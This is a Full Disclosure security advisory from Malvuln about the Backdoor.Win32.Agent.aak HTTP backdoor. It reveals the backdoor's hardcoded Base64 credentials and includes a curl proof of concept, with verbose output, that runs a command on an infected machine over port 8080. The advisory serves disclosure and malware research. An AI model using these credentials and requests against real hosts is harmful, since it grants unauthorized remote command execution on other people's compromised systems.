full-disclosure - [FD] Backdoor.Win32.Agent.aak / Weak Hardcoded Credentials

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Date: Wed, 17 Feb 2021 21:58:53 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.aak / Weak Hardcoded Credentials

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aak
Vulnerability: Weak Hardcoded Credentials
Description: The HTTP backdoor server HBKDR v0.3 listens on TCP port 8080
and accepts HTTP POST requests in order to execute commands on the infected
system. The malware hardcodes two sets of weak Base64 encoded credentials
in the malware "ZnVjazpkYXY=" (fuck:dav) and "ZGV2Om51bGw=" (dev:null). The
credentials can be viewed easily running string util against the malware
executable. The backdoor also uses insecure BASIC authentication disclosing
the username/password on the wire in a packet sniffing scenario.
Type: PE32
MD5: 64f2fd4dbd9039e5bc054f475eaa582a
Vuln ID: MVID-2021-0094
Dropped files:
Disclosure: 02/17/2021

Exploit/PoC:
curl -v "http://fuck:dav@....168.1.10:8080/exec.hbd" -X POST -d
"txtExec=calc"

* Server auth using Basic with user 'fuck'
> POST /exec.hbd HTTP/1.1
> Host: 192.168.1.10:8080
> Authorization: Basic ZnVjazpkYXY=
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
< HTTP/1.1 200 OK
< Server: HBKDR v0.3
< Connection: close
< Date: Wed Feb 3 21:20:12 2021
< Content-Location: /exec.hbd
< Content-Type: text/html
< Transfer-Encoding: chunked
Command

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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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